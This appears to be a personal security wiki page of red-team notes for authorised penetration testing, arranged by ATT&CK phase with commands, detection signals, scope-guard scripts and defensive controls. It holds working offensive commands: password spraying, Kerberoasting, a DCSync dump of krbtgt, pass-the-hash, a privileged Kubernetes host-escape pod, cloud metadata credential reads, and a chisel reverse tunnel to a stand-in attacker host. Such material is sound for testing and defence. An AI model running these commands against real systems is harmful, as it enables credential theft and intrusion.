# Red team

> Technique notes for authorised offensive testing, arranged by ATT&CK phase, with the tooling and the telemetry each step leaves behind.

Canonical: https://www.wiki.jodisand.me/redteam/
Reviewed: 2026-09-24
Related: [FreeIPA / Red Hat IdM](https://www.wiki.jodisand.me/idm/index.md), [AWS](https://www.wiki.jodisand.me/aws/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [DNS](https://www.wiki.jodisand.me/dns/index.md)


> [!CAUTION] Authorised testing only
> Use these against systems you own or have a signed scope and rules of engagement for. Everything here is loud in some way; the detection column is what a defender should see, and if they do not, that finding is worth more than the access. Destructive impact techniques and antivirus-disabling recipes are deliberately out of scope on this page.

## Cheatsheet

| Task | Command |
| --- | --- |
| Subdomains, passive | `subfinder -d example.com -silent` |
| Resolve and probe | `httpx -l hosts.txt -sc -title -tech-detect` |
| Port sweep, fast | `nmap -sS -Pn --top-ports 1000 --min-rate 2000 -oA scan 10.0.0.0/24` |
| Service and version detail | `nmap -sV -sC -p 22,80,443 target -oA svc` |
| Web content discovery | `ffuf -u https://target/FUZZ -w list.txt -mc 200,301,403` |
| SMB enumeration | `netexec smb 10.0.0.0/24 -u '' -p '' --shares` |
| LDAP enumeration | `ldapsearch -x -H ldap://dc-01 -b 'dc=example,dc=com'` |
| Kerberos user list | `kerbrute userenum -d example.com users.txt` |
| Hash cracking | `hashcat -m 13100 hashes.txt rockyou.txt` |
| Credential spray, slow | `netexec smb dc-01 -u users.txt -p 'Season2025!' --continue-on-success` |
| Local privesc checks | `linpeas.sh`, `winPEASx64.exe` |
| AD attack paths | BloodHound with `SharpHound`/`bloodhound-python` |
| SOCKS through a host | `chisel client attacker:8080 R:socks` |
| Route tools through it | `proxychains4 -q nmap -sT -Pn target` |

## Ground rules

Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps. The client's detection team needs to correlate, and you need to prove what you did and did not do.

Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.

| Discipline | Practice |
| --- | --- |
| Deconfliction | Timestamped command log, attacker source addresses shared with the blue team |
| Data handling | Screenshot proof, not bulk data exfiltration; store evidence encrypted |
| Credentials | Never reuse client credentials outside the engagement; destroy at report delivery |
| Blast radius | No denial of service, no destructive changes, no production data modification |
| Cleanup | Remove implants, accounts and scheduled tasks; list them in the report regardless |

## Scoping and authorisation

The authorisation document is the engagement. It names the legal entity granting permission, the person with authority to grant it, the exact assets in scope, the assets explicitly out of scope, the test window, and the actions that require a stop-and-call rather than proceeding. Nothing starts before it is signed by someone who can actually authorise it; a project manager forwarding an email is not that person. For anything hosted by a third party (cloud provider, SaaS, managed DNS) confirm whether the provider's own rules require separate notification, because the client cannot authorise testing of infrastructure they do not own.

Turn the written scope into a machine-readable allow-list before the first scan, so a fat-fingered CIDR cannot stray. Keep in-scope ranges, out-of-scope ranges and the current date window in one file that every tool and wrapper reads. Re-validate every target against it at run time, not just once at the start.

| Scope artefact | What it pins down |
| --- | --- |
| In-scope networks | CIDRs, hostnames and cloud account IDs that may be touched |
| Explicit exclusions | Production databases, third-party tenants, executive endpoints, anything fragile |
| Test window | Start and end timestamps, allowed hours, blackout periods |
| Rules of engagement | Permitted techniques, social-engineering limits, data-handling rules |
| Escalation contacts | Who to call on a suspected real breach, a system falling over, or a safety concern |
| Deconfliction channel | How the blue team distinguishes your traffic from a genuine intrusion |

Two failure modes dominate real engagements: testing something out of scope because the target list was never reconciled against the exclusions, and a control the client thought existed being absent, so a routine action has an outsized effect. Both are prevented by the same habit, reading the current scope file before every action and stopping the moment reality diverges from the brief.

The rules of engagement also protect the tester. They record that each action was authorised, which is the difference between a penetration test and a computer-misuse offence. Keep the signed document, the scope file and the command log together; they are the evidence that the work stayed inside the grant.

## Reconnaissance

| Technique | Command | Detection signal |
| --- | --- | --- |
| Passive subdomains | `subfinder -d example.com -all -silent` | None; certificate transparency and public sources |
| Certificate transparency | `curl -s 'https://crt.sh/?q=%25.example.com&output=json' \| jq -r '.[].name_value' \| sort -u` | None |
| DNS zone data | `dig axfr example.com @ns1.example.com` | Zone transfer attempt logged by the [DNS](https://www.wiki.jodisand.me/dns/) server |
| Live web hosts | `httpx -l hosts.txt -sc -title -tech-detect -o web.txt` | Web access logs, unusual user agent |
| Port discovery | `nmap -sS -Pn --min-rate 2000 -p- target` | IDS scan signatures, firewall connection counts |
| Service fingerprint | `nmap -sV -sC -p- --open target` | Banner grabs, versioned probes |
| Content discovery | `ffuf -u https://target/FUZZ -w raft-medium.txt -mc all -fc 404` | 404 flood in web logs, WAF rate limits |
| Cloud asset discovery | `cloud_enum -k example` | Provider access logs, bucket access denied events |
| Credential exposure | Public breach data, `git log -S 'password'` in cloned repositories | None externally |

```sh
subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt
```

## Initial access

| Vector | Notes | Detection signal |
| --- | --- | --- |
| Exposed service with a known CVE | Verify the version before firing anything | Exploit signature, service crash, patch-level mismatch |
| Default or reused credentials | Spray slowly, respect lockout policy | Failed logon bursts (4625), lockouts |
| Exposed admin interfaces | Jenkins, Grafana, Kibana, Docker API, Kubernetes API | Unusual source address on a management port |
| Phishing (if in scope) | Payload and pretext agreed in writing beforehand | Mail gateway logs, attachment detonation, user report |
| Supply chain of your own tooling | Out of scope for almost every engagement | None |

```sh
# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce
```

Password spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.

## Execution and persistence

| Technique | Where | Detection signal |
| --- | --- | --- |
| Scheduled task / cron | `schtasks /create`, `crontab -e` | Task creation events (4698), `/var/log/cron` |
| systemd unit or timer | `/etc/systemd/system/*.service` | New unit files, `systemd-analyze` diffs |
| Service creation | `sc.exe create` | 7045 service installed |
| Run key | `HKCU\...\Run` | Registry autorun monitoring |
| SSH authorized_keys | Append a key to a service account | File integrity monitoring, key fingerprint audit |
| Container or cluster | CronJob, mutating webhook, privileged DaemonSet | Kubernetes audit log, admission controller |
| CI/CD | Pipeline step or self-hosted runner | Pipeline definition diff, runner registration |

```sh
# Kubernetes: a node-level foothold looks like this and should be alerted on
kubectl run shell --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"s","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'
```

Any [Kubernetes](https://www.wiki.jodisand.me/kubernetes/) cluster that allows that pod should fail its own admission policy review. Test it, capture the result, and check whether the audit log shows it.

## Privilege escalation

| Check | Command | Why it works |
| --- | --- | --- |
| Sudo rules | `sudo -l` | Misconfigured `NOPASSWD` on an interpreter or editor |
| SUID binaries | `find / -perm -4000 -type f 2>/dev/null` | Unexpected SUID with a shell escape (GTFOBins) |
| Writable service units | `find /etc/systemd -writable 2>/dev/null` | Root executes what you can edit |
| Capabilities | `getcap -r / 2>/dev/null` | `cap_setuid`, `cap_dac_override` on a binary |
| Cron jobs | `cat /etc/crontab; ls -la /etc/cron.*` | Writable script or wildcard injection |
| Kernel version | `uname -a` and known exploits | Unpatched local privilege escalation |
| Container escape | `cat /proc/1/cgroup`, check for `privileged`, hostPath, docker socket | The socket is root on the host |
| Cloud metadata | `curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/` | Instance role often over-permissioned |
| Windows service paths | `wmic service get name,pathname` | Unquoted paths, writable binaries |
| Token privileges | `whoami /priv` | `SeImpersonate` leads to well-known escalations |

```sh
linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
```

IMDSv2 ([AWS](https://www.wiki.jodisand.me/aws/)) requires a token header, which is why an SSRF that reaches metadata on IMDSv1 is a critical finding and the same SSRF on v2 usually is not.

## Credential access

| Source | Technique | Detection signal |
| --- | --- | --- |
| Kerberos service tickets | Kerberoasting: `GetUserSPNs.py -request` | 4769 for RC4 tickets, unusual SPN requests |
| Accounts without preauth | AS-REP roasting: `GetNPUsers.py` | 4768 with preauth disabled |
| LSASS memory | Dump and parse offline | EDR alert on process access to lsass.exe |
| SAM / SYSTEM hives | `reg save` then `secretsdump.py LOCAL` | Registry hive save events |
| NTDS.dit | `ntdsutil` snapshot, or `secretsdump.py -just-dc` | DCSync replication from a non-DC (4662) |
| Linux shadow file | Requires root already | File access auditing |
| Cloud credentials | `~/.aws/credentials`, environment, instance role | CloudTrail credential use from a new address |
| Application secrets | `.env`, CI variables, unencrypted state files | Secret scanning, access to state buckets |

```sh
GetUserSPNs.py example.com/user:pass -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r best64.rule
secretsdump.py -just-dc-user krbtgt example.com/admin@dc-01 -k -no-pass
```

DCSync from anything that is not a domain controller is the single highest-value detection in a Windows environment; the same directory that FreeIPA and [IdM](https://www.wiki.jodisand.me/idm/) protect on Linux. Test whether it alerts.

## Discovery and lateral movement

| Technique | Command | Detection signal |
| --- | --- | --- |
| Domain mapping | `bloodhound-python -d example.com -u u -p p -c All` | Heavy LDAP queries from one host |
| Share enumeration | `netexec smb 10.0.0.0/24 -u u -p p --shares` | Mass SMB session setups |
| Interesting files | `netexec smb targets -u u -p p -M spider_plus` | File server access spike |
| Pass the hash | `netexec smb target -u admin -H <nthash>` | NTLM logon type 3 from an unusual host |
| Pass the ticket | `export KRB5CCNAME=ticket.ccache; psexec.py -k -no-pass` | Ticket use from a new source |
| WMI / WinRM execution | `wmiexec.py`, `evil-winrm -i host -u u -H hash` | 4688 process creation, WinRM logs |
| SSH pivoting | `ssh -J bastion target`, agent forwarding abuse | Auth logs, unusual jump patterns |
| Tunnelling | `chisel server -p 8080 --reverse`, then `R:socks` | Long-lived outbound connections to an unknown host |

```sh
chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p
```

Lateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.

## Command and control

| Choice | Trade-off |
| --- | --- |
| HTTPS beacon with long jitter | Blends with normal traffic; slow interaction |
| DNS | Works where nothing else does; very noisy to a resolver that logs |
| Cloud service as redirector | Reputation of a trusted domain; provider terms may prohibit it |
| Direct shell | Simple, immediate, trivially detected |

Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.

## Exfiltration testing

Demonstrate the path with canary data, not with the client's real data. A file of known marker strings proves the control gap without creating a breach of your own.

| Channel | Control being tested |
| --- | --- |
| HTTPS POST to an external host | Egress filtering, TLS inspection, DLP |
| DNS queries | DNS logging and exfiltration detection |
| Cloud storage upload | Egress allow-lists, provider-side DLP |
| Email attachment | Mail DLP |

## Reporting

A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline: which steps were alerted on, which were not, and how long each took.

Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.

A useful report is built as you go, not written at the end from memory. Structure each finding the same way so the reader can triage quickly:

| Field | Content |
| --- | --- |
| Title | The weakness in one line, phrased as the problem, not the tool |
| Severity | Impact and likelihood combined, with the reasoning, not a bare CVSS number |
| Affected assets | The exact hosts, URLs or accounts, matched to the scope file |
| Evidence | Timestamped commands, request and response, screenshots with the clock visible |
| Impact | The business consequence in the client's terms, not the technical mechanism |
| Remediation | The smallest change that closes it, and the strategic fix if different |
| Detection | Whether the step was alerted on, and how long detection took |

The detection timeline is often the most valuable part of the deliverable. Pair every technique with the telemetry it should have produced (the detection columns above), then record for each whether an alert fired, when, and who acted. A gap where a loud action went unnoticed is a finding in its own right, frequently more actionable than the vulnerability that enabled the action. Deliver the report over an encrypted channel, walk the client through it live, and destroy the working data and any harvested credentials once it is accepted.

## Tooling reference

Reach for maintained, well-documented tools rather than one-off scripts; the client can then reproduce a finding, and the tool's own documentation carries the current syntax. Verify versions at the start of the engagement, because option names drift.

| Area | Tools | Purpose |
| --- | --- | --- |
| Passive recon | `subfinder`, `amass`, `crt.sh`, `dnsx` | Enumerate names without touching the target |
| Active recon | `nmap`, `masscan`, `httpx`, `naabu` | Port, service and web-surface discovery |
| Web surface | `ffuf`, `feroxbuster`, `katana`, `nuclei` | Content discovery and templated checks |
| Directory / AD mapping | `BloodHound`, `SharpHound`, `bloodhound-python`, `ldapsearch` | Read-only relationship and privilege mapping |
| Credential auditing | `hashcat`, `john` | Offline strength testing of hashes you are authorised to hold |
| Access verification | `netexec`, `impacket`, `kerbrute` | Confirm which credentials work where |
| Local posture checks | `linpeas`, `winpeas`, `pspy` | Enumerate local misconfiguration (noisy; expect EDR) |
| Pivoting | `chisel`, `ligolo-ng`, `sshuttle`, `proxychains` | Route authorised tooling through a foothold |
| Cloud posture | `prowler`, `scoutsuite`, `pmapper`, `cloud_enum` | Read-only misconfiguration and IAM path review |
| Reporting | `nmap-to-*` parsers, `dradis`, note templates | Turn scan output into structured findings |

Prefer the read-only mode of any tool that has one, prefer official documentation over blog copy-paste for syntax, and record the exact command and version for every result so a finding can be reproduced. The [ATT&CK](https://attack.mitre.org/) catalogue and the [PTES](http://www.pentest-standard.org/) and [OWASP WSTG](https://owasp.org/www-project-web-security-testing-guide/) methodologies give the vocabulary and phase structure the report should follow.

## Troubleshooting

| Symptom | Cause | Fix |
| --- | --- | --- |
| `proxychains` connections hang or time out | UDP or ICMP sent through a TCP-only SOCKS tunnel (`nmap -sS`, `ping`) | Use TCP connect scans (`nmap -sT -Pn`) through the proxy; SOCKS carries TCP only |
| `nmap` shows every port open or filtered | A firewall or IPS is tarpitting, or the host is behind a load balancer | Slow down (`--max-rate`), confirm with `-sT` to a known-open port, check from another source |
| `nmap` misses hosts that are up | Default host discovery blocked by ICMP filtering | `-Pn` to skip discovery, or `-PS`/`-PA` against ports likely to be allowed |
| Credential spray triggers lockouts | Attempt rate above the account lockout threshold | One password per round, wait past the observation window; read the policy from the domain first |
| `netexec` or `impacket` fails with `KRB_AP_ERR_SKEW` | Clock skew over five minutes to the KDC | Sync the attacking host's clock to the target's time source; see [IdM](https://www.wiki.jodisand.me/idm/#kerberos-tickets) |
| Kerberos tooling fails with `KDC_ERR_S_PRINCIPAL_UNKNOWN` | Wrong SPN or wrong realm casing in the request | Confirm the exact principal; realm is upper-case, host part lower-case |
| `ldapsearch` returns `operations error` against AD | Anonymous bind refused; authentication required | Bind with in-scope credentials (`-D`/`-w` or `-Y GSSAPI` with a ticket) |
| BloodHound collection incomplete | Collector could not reach every DC, or lacked read on some objects | Run with a valid ticket, target each DC, use `-c All`; it needs only read access |
| Tool cannot resolve internal names through a pivot | DNS not tunnelled with the SOCKS proxy | Point the tool at an internal resolver over the proxy, or use `proxychains` with `proxy_dns` |
| Findings not reproducible later | Command, version or source address not recorded | Log every command with a timestamp (see the wrapper in Scripts); pin tool versions |
| Uncertain whether a target is in scope | Scope not reconciled against exclusions | Stop; check the scope file; when still unclear, ask the escalation contact before proceeding |

## Oneliners

Reconnaissance, scope hygiene and evidence handling only. Everything here is passive or read-only, or an engagement-management helper; run active commands only against assets in the signed scope.

```sh
# Passive subdomains, deduplicated, from certificate transparency and public sources
subfinder -d example.com -all -silent | sort -u

# Certificate transparency names for a domain (no packets to the target)
curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u

# Which discovered names actually resolve, and to what
dnsx -l names.txt -a -resp -silent

# Live web hosts with status, title and detected technology, saved for the report
httpx -l hosts.txt -sc -title -tech-detect -o web-surface.txt

# Reverse-DNS a CIDR to spot naming conventions before any active scan
for ip in 192.0.2.{1..254}; do n=$(dig +short -x "$ip"); [[ -n $n ]] && printf '%s\t%s\n' "$ip" "$n"; done

# Confirm a single target is inside the in-scope allow-list before touching it
grep -qxF "$TARGET" scope/in-scope.txt && echo 'in scope' || echo 'OUT OF SCOPE - stop'

# Expand in-scope CIDRs to a flat host list the tooling can consume
while read -r c; do nmap -sL -n "$c" 2>/dev/null | awk '/Nmap scan report/ {print $NF}'; done < scope/in-scope-cidrs.txt > scope/hosts.txt

# Remove any excluded address from a target list before scanning
grep -vxF -f scope/exclusions.txt scope/hosts.txt > scope/targets.txt

# Are we inside the authorised test window right now
now=$(date -u +%s); [[ $now -ge $(date -u -d "$WINDOW_START" +%s) && $now -le $(date -u -d "$WINDOW_END" +%s) ]] && echo 'within window' || echo 'OUTSIDE window'

# Top-1000 TCP sweep of in-scope hosts, all output formats, for the record
nmap -iL scope/targets.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA evidence/sweep-$(date +%FT%H%M)

# Re-run only the services found open, for version detail
nmap -iL scope/targets.txt -sV -sC -p "$(awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | paste -sd,)" -oA evidence/services

# Templated safety and misconfiguration checks at high severity only
nuclei -l web-surface.txt -severity high,critical -o evidence/nuclei-$(date +%F).txt

# Content discovery excluding 404s, rate-limited to be polite
ffuf -u https://target/FUZZ -w wordlist.txt -mc all -fc 404 -rate 50 -o evidence/ffuf.json

# Read-only AD relationship collection with a valid ticket (needs only read access)
bloodhound-python -d example.com -u recon -p "$PASS" -c All -ns 192.0.2.10 --zip

# LDAP enumeration of the domain naming context with in-scope credentials
ldapsearch -x -H ldap://dc-01.example.com -D 'recon@example.com' -w "$PASS" -b 'dc=example,dc=com' '(objectClass=user)' sAMAccountName

# Hash the attacking host's source IPs so the blue team can filter deconfliction traffic
ip -4 -o addr show | awk '{print $4}' | tee evidence/attacker-source-ips.txt

# Timestamped, appended command log for the whole engagement
log() { printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log; "$@"; }

# Screenshot proof of a web finding with the URL and time captured in the filename
gowitness single "https://target/path" -P evidence/screens/

# Count unique open ports across the sweep for a coverage summary
awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | wc -l

# Diff two sweeps to show what changed between test days
diff <(sort evidence/sweep-day1.gnmap) <(sort evidence/sweep-day2.gnmap)

# Extract host:port:service into a CSV the report generator reads
awk '/Ports:/ {host=$2; for (i=1;i<=NF;i++) if ($i ~ /open/) print host","$i}' evidence/services.gnmap

# Encrypt the evidence directory at rest before it leaves the test host
tar -cz evidence/ | age -r "$CLIENT_AGE_PUBKEY" > evidence-$(date +%F).tar.gz.age

# Verify TLS certificate details on an in-scope endpoint (see the TLS page for more)
openssl s_client -connect target.example.com:443 -servername target.example.com </dev/null 2>/dev/null | openssl x509 -noout -subject -dates

# Confirm cloud metadata protection on an in-scope instance (IMDSv1 reachable is a finding; see AWS)
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ -o /dev/null -w '%{http_code}\n'

# List scheduled tasks and services you may have created, to reconcile against cleanup
{ crontab -l 2>/dev/null; systemctl list-unit-files --state=enabled; } | grep -i "$ENGAGEMENT_TAG" || echo 'none tagged'

# Wordlist of just the hostnames from discovered web surface, for further passive lookups
awk '{print $1}' web-surface.txt | sed -E 's#https?://##; s#[:/].*##' | sort -u
```

## Scripts

Scope guard: a wrapper that refuses to run a command against any target that is not in the allow-list or is on the exclusion list, and that checks the test window. Source it and prefix active commands with `scoped`, so a mistyped range fails closed instead of scanning something it should not.

```sh
#!/usr/bin/env bash
# usage: source scope-guard.sh; scoped nmap -sT -Pn 192.0.2.10
# expects scope/in-scope.txt (hosts/CIDRs), scope/exclusions.txt (hosts), and WINDOW_START/WINDOW_END in the environment
set -euo pipefail

in_window() {
  local now start end
  now=$(date -u +%s)
  start=$(date -u -d "${WINDOW_START:?set WINDOW_START}" +%s)
  end=$(date -u -d "${WINDOW_END:?set WINDOW_END}" +%s)
  (( now >= start && now <= end ))
}

in_scope() {                                  # true only if $1 is inside an in-scope entry and not excluded
  local target=$1
  grep -qxF "$target" scope/exclusions.txt 2>/dev/null && return 1
  # exact host match, or membership of an in-scope CIDR via nmap -sL
  grep -qxF "$target" scope/in-scope.txt && return 0
  while read -r entry; do
    [[ $entry == */* ]] || continue
    nmap -sL -n "$entry" 2>/dev/null | grep -q "report for $target\$" && return 0
  done < scope/in-scope.txt
  return 1
}

scoped() {
  in_window || { echo 'REFUSED: outside the authorised test window' >&2; return 1; }
  # Check every argument that looks like an IPv4 address or a hostname
  local a
  for a in "$@"; do
    [[ $a =~ ^[0-9]+(\.[0-9]+){3}$ || $a =~ ^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$ ]] || continue
    in_scope "$a" || { printf 'REFUSED: %s is not in scope\n' "$a" >&2; return 1; }
  done
  printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log
  "$@"
}
```

Engagement logger: wraps any command, captures stdout and stderr to a per-run evidence file, and appends a one-line index with the timestamp, exit code and output path. Gives a reproducible trail without thinking about it.

```sh
#!/usr/bin/env bash
# usage: run.sh nmap -sT -Pn 192.0.2.10
set -euo pipefail
mkdir -p evidence/runs
stamp=$(date -u +%Y%m%dT%H%M%SZ)
slug=$(printf '%s' "$*" | tr -c 'A-Za-z0-9' '-' | cut -c1-60)
out="evidence/runs/${stamp}_${slug}.log"

{
  printf '# command: %s\n# started: %s\n# host:    %s\n\n' "$*" "$stamp" "$(hostname)"
} > "$out"

set +e
"$@" > >(tee -a "$out") 2> >(tee -a "$out" >&2)
rc=$?
set -e

printf '\n# finished: %s\n# exit:     %d\n' "$(date -u +%FT%TZ)" "$rc" >> "$out"
printf '%s\texit=%d\t%s\t%s\n' "$stamp" "$rc" "$out" "$*" >> evidence/index.tsv
exit "$rc"
```

Findings summary: turns the running `evidence/findings.tsv` (`severity<TAB>title<TAB>asset<TAB>detected`) into a Markdown table ordered by severity, ready to paste into the report draft. Read-only.

```sh
#!/usr/bin/env bash
# usage: findings-summary.sh evidence/findings.tsv > report/summary.md
set -euo pipefail
f=${1:?findings tsv (severity<TAB>title<TAB>asset<TAB>detected)}

rank() { case ${1,,} in critical) echo 0;; high) echo 1;; medium) echo 2;; low) echo 3;; *) echo 4;; esac; }

printf '| Severity | Finding | Affected asset | Detected |\n| --- | --- | --- | --- |\n'
while IFS=$'\t' read -r sev title asset detected; do
  [[ -z ${sev:-} || $sev == severity ]] && continue
  printf '%d\t%s\t%s\t%s\t%s\n' "$(rank "$sev")" "$sev" "$title" "$asset" "$detected"
done < "$f" | sort -n | cut -f2- | while IFS=$'\t' read -r sev title asset detected; do
  # escape any pipe so the Markdown table renders
  printf '| %s | %s | %s | %s |\n' "$sev" "${title//|/\\|}" "${asset//|/\\|}" "${detected:-not tested}"
done

printf '\n_%d findings, generated %s._\n' "$(grep -vc '^severity' "$f")" "$(date -u +%F)"
```

## Further reading

- [MITRE ATT&CK](https://attack.mitre.org/): the technique catalogue the detection columns and report should map to.
- [Penetration Testing Execution Standard](http://www.pentest-standard.org/): scoping, engagement structure and reporting.
- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/): methodology for the web surface.
- [NIST SP 800-115](https://csrc.nist.gov/pubs/sp/800/115/final): technical guide to information security testing and assessment.
- Tool documentation: [Nmap reference guide](https://nmap.org/book/man.html), [BloodHound docs](https://bloodhound.readthedocs.io/), [Impacket](https://github.com/fortra/impacket) and [NetExec](https://www.netexec.wiki/).

## Defensive counterpart

Every technique above has a control worth verifying while you are there:

| Area | Control |
| --- | --- |
| Identity | MFA everywhere, no reused local admin passwords (LAPS), tiered admin accounts |
| Kerberos | Managed service accounts, AES only, no unconstrained delegation |
| Endpoint | EDR with tamper protection, application allow-listing, LSASS protection |
| Network | Egress filtering, internal segmentation, no flat management VLAN |
| Cloud | IMDSv2, least-privilege roles, no long-lived keys, CloudTrail with alerting |
| Kubernetes | Pod Security admission, no privileged workloads, audit log shipped and alerted |
| Detection | Alerts for spraying, DCSync, new services, and outbound beacons |


